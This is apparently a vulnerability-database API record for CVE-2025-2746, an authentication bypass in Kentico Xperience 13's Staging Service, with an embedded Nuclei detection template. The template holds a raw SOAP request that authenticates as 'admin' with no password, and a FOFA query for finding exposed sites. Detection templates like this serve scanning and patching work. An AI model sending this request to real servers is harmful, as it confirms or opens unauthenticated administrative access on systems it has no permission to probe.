{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-2746/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-2746/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-2746/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-2746/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-2746/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-2746"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-2746"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.59052,
      "kev": true,
      "percentile": 0.99069
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2025/CVE-2025-2746.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2025-2746\n\ninfo:\n  name: Kentico Xperience 13 CMS - Staging Service Authentication Bypass (WT-2025-0011)\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    Before Kentico Xperience 13 Hotfix 173, this vulnerability can be exploited with any username provided. For Hotfix >= 173 and < 178, this vulnerability can be exploited only if you provide a valid Staging Service username (default: admin)\n  impact: |\n    Unauthenticated attackers can bypass authentication in the Staging Service using any username (or valid username depending on hotfix version), potentially gaining control of administrative objects and compromising the entire CMS.\n  remediation: |\n    Upgrade to Kentico Xperience 13 Hotfix 178 or later that properly validates Staging Service authentication.\n  reference:\n    - https://github.com/watchtowrlabs/kentico-xperience13-AuthBypass-wt-2025-0011\n    - https://devnet.kentico.com/download/hotfixes\n    - https://labs.watchtowr.com/bypassing-authentication-like-its-the-90s-pre-auth-rce-chain-s-in-kentico-xperience-cms/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2025-2746\n    cwe-id: CWE-287\n    epss-score: 0.59052\n    epss-percentile: 0.99071\n  metadata:\n    verified: true\n    max-request: 1\n    fofa-query: app=\"Kentico-CMS\"\n  tags: cve,cve2025,kentico,stag,auth-bypass,xperience13,vuln,kev,vkev\n\nvariables:\n  rand: \"{{to_lower(rand_text_alpha(32))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /CMSPages/Staging/SyncServer.asmx HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        Content-Type: text/xml; charset=utf-8\n        SOAPAction: http://localhost/SyncWebService/SyncServer/ProcessSynchronizationTaskData\n\n        <?xml version=\"1.0\" encoding=\"utf-8\"?>\n            <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n                <soap:Header>\n                    <wsse:Security xmlns:wsse=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd\" xmlns:wsu=\"http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd\">\n                        <wsse:UsernameToken>\n                            <wsse:Username>admin</wsse:Username>\n                        </wsse:UsernameToken>\n                    </wsse:Security>\n                </soap:Header>\n                <soap:Body>\n                    <ProcessSynchronizationTaskData xmlns=\"http://localhost/SyncWebService/SyncServer\">\n                        <stagingTaskData><![CDATA[<{{rand}}>]]></stagingTaskData>\n                    </ProcessSynchronizationTaskData>\n                </soap:Body>\n            </soap:Envelope>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{rand}}\"\n          - \"<wsa:Action>\"\n        condition: and\n\n      - type: word\n        part: body\n        words:\n          - \"Site not running\"\n          - \"SyncServer.ErrorLicense\"\n          - \"SyncServer.ErrorServiceNotEnabled\"\n          - \"Staging service is not enabled on this server\"\n          - \"Staging does not work with blank password\"\n          - \"Missing X509 certificate token\"\n          - \"The security token could not be authenticated or authorized\"\n        condition: or\n        negative: true\n\n      - type: word\n        part: content_type\n        words:\n          - \"text/xml\"\n# digest: 4a0a00473045022056ff7ca06c1509497db5ec83b47e6bd5cf37a55593184a72af1a46b64ce9aa73022100ed7177619bd18dcb3e80a7eb2e6871f5e5c4542ee96fc356159670c8e0a87168:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2025-2746"
}